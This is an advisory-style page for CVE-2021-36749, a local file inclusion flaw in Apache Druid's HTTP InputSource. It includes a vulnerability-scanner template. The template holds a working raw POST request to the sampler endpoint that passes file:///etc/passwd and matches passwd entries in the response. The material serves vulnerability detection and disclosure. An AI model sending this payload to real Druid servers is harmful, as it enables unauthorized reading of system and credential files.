CVE-2021-36749: Apache Druid - Local File Inclusion

2025-08-01 Apache Druid PoC Public

Description

Apache Druid ingestion system is vulnerable to local file inclusion. The InputSource is used for reading data from a certain data source. However, the HTTP InputSource allows authenticated users to read data from other sources than intended, such as the local file system, with the privileges of the Druid server process. This is not an elevation of privilege when users access Druid directly, since Druid also provides the Local InputSource, which allows the same level of access. But it is problematic when users interact with Druid indirectly through an application that allows users to specify the HTTP InputSource, but not the Local InputSource. In this case, users could bypass the application-level restriction by passing a file URL to the HTTP InputSource. This issue was previously mentioned as being fixed in 0.21.0 as per CVE-2021-26920 but was not fixed in 0.21.0 or 0.21.1.

PoC

id: CVE-2021-36749

info:
  name: Apache Druid - Local File Inclusion
  author: _0xf4n9x_
  severity: medium
  description: Apache Druid ingestion system is vulnerable to local file inclusion. The InputSource is used for reading data from a certain data source. However, the HTTP InputSource allows authenticated users to read data from other sources than intended, such as the local file system, with the privileges of the Druid server process. This is not an elevation of privilege when users access Druid directly, since Druid also provides the Local InputSource, which allows the same level of access. But it is problematic when users interact with Druid indirectly through an application that allows users to specify the HTTP InputSource, but not the Local InputSource. In this case, users could bypass the application-level restriction by passing a file URL to the HTTP InputSource. This issue was previously mentioned as being fixed in 0.21.0 as per CVE-2021-26920 but was not fixed in 0.21.0 or 0.21.1.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the affected system.
  remediation: |
    Apply the latest security patches or updates provided by Apache Druid to fix the LFI vulnerability.
  reference:
    - https://github.com/BrucessKING/CVE-2021-36749
    - https://lists.apache.org/thread.html/rc9400a70d0ec5cdb8a3486fc5ddb0b5282961c0b63e764abfbcb9f5d%40%3Cdev.druid.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2021-36749
    - https://lists.apache.org/thread.html/r304dfe56a5dfe1b2d9166b24d2c74ad1c6730338b20aef77a00ed2be@%3Cannounce.apache.org%3E
    - https://lists.apache.org/thread.html/r304dfe56a5dfe1b2d9166b24d2c74ad1c6730338b20aef77a00ed2be%40%3Cannounce.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-36749
    cwe-id: CWE-863
    epss-score: 0.80907
    epss-percentile: 0.99608
    cpe: cpe:2.3:a:apache:druid:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: druid
  tags: cve2021,cve,apache,lfi,auth-bypass,druid,vkev,vuln

http:
  - raw:
      - |
        POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"http","uris":[" file:///etc/passwd "]}},"dataSchema":{"dataSource":"sample","parser":{"type":"string", "parseSpec":{"format":"regex","pattern":"(.*)","columns":["a"],"dimensionsSpec":{},"timestampSpec":{"column":"no_ such_ column","missingValue":"2010-01-01T00:00:00Z"}}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "druid:*:1000:1000:"
        condition: or
# digest: 4a0a0047304502201bcd62bdac3ab2bcb06e846296c97c9a267a3f49981426819a002e7cbc7fee1b022100e550f34199fb615c4a65b8b5daab4cadc4861d27b978875b79797d2fb11af860:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities